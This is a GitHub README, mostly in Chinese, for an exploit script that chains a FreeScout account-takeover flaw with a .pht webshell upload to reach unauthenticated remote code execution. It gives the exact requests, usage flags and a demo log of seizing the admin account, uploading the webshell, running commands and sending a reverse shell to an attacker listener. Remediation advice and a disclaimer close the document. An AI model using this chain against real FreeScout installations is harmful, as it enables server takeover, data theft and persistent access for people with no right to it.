0xdak/CVE-2026-53595_exploit
GitHub: 0xdak/CVE-2026-53595_exploit
针对 FreeScout ≤ 1.8.223 的未授权账户接管与远程代码执行组合漏洞利用脚本,通过 ATO 配合 .pht 文件上传实现从匿名到 RCE 的完整攻击链。
Stars: 0 | Forks: 0
# CVE-2026-53595 (+ CVE-2026-53593) — FreeScout 匿名 ATO → RCE
**FreeScout ≤ 1.8.223**(一款 Laravel 帮助台系统)中的未授权远程代码执行,通过组合利用两个缺陷实现,这两个缺陷均已在 **1.8.224** 中修复:
- **CVE-2026-53595** — 匿名 **账户接管 (ATO)**。`POST /user-setup/{hash}/{invite_sent_at}` 仅通过 `invite_hash` 列来选取账户。一个*已激活*的用户拥有 `invite_hash = ''`,而在 MySQL/MariaDB 中,`VARCHAR` 相等性比较**会忽略尾部空格**,因此 `hash = %20` 会匹配到管理员。`invite_sent_at` 的过期时间校验会使用用户的密码作为密钥来解密该值,但解密辅助函数在失败时**会返回原始输入**(空的 `catch` 块),因此当前 unix 时间戳的纯文本形式会被接受。然后,该端点会覆盖账户的邮箱和密码并让你登录。
- **CVE-2026-53593** — 已授权的 **`.pht` 文件上传**。上传黑名单(`php.*|sh|pl|phtml|phar`)**未**覆盖 `.pht`,而 Apache 的 `mod_php` 会将其作为 PHP 执行。
将它们组合利用,未经授权的攻击者即可获得以 web 服务器用户(`www-data`)身份执行代码的权限。
## 执行内容
1. 发送 `GET /user-setup/%20/` 以获取会话 cookie + CSRF token。
2. 向同一个 URL 发送 `POST` 请求,覆盖管理员的邮箱/密码并登录 (ATO)。
3. 向 `POST /uploads/upload` 上传 `shell.pht` (``)。
4. 通过 webshell 运行命令,或打开一个反向 shell。
## 用法
```
./exploit.sh -t [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default pwned@evil.com)
--password PASS password to set (default Pwned12345)
-h, --help
```
## 演示
```
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> pwned@evil.com / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (先运行 `nc -lvnp 4444`)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
```
## 环境要求
- `bash`、`curl`、`jq`
## 注意事项
- 适用于 FreeScout `1.0.x – 1.8.223`;`1.8.224+` 修复了这两个漏洞(`302` 会变成接管失败)。
- RCE 会以 **www-data**(Apache 用户)身份执行。`.pht` 执行取决于服务器是否通过 `mod_php` 运行 `.pht` 文件 —— 即 CVE 针对的“标准 Apache + libapache2-mod-php”环境。
- 反向 shell 在进入 webshell 之前会进行 base64 编码:`system()` 通过 `/bin/sh`(Debian/Ubuntu 上的 dash)运行,它不支持 bash 专用的 `>& /dev/tcp/...` 重定向,并且 base64 也避免了所有的引号引用隐患。
- 默认密码中不包含 `!` 是故意的 —— `!` 会在交互式 bash/zsh 中触发历史扩展,并破坏粘贴的命令。
## 修复建议
- 升级至 FreeScout **1.8.224+**。
- 切勿使用 `VARCHAR` 相等性比较来处理安全 token(会导致尾部空格冲突),且切勿将解密失败视为有效值 —— 应拒绝空/无效的 token。
- 使用上传白名单,将上传文件存储在 web 根目录之外,并通过绝不会执行它们的管理程序来提供服务。
## 免责声明
仅供授权的安全测试和教育目的使用。请勿对您不拥有或未获得明确测试许可的系统使用此方法。作者对任何滥用行为不承担任何责任。
标签:CISA项目, 应用安全, 编程工具, 账户接管, 远程代码执行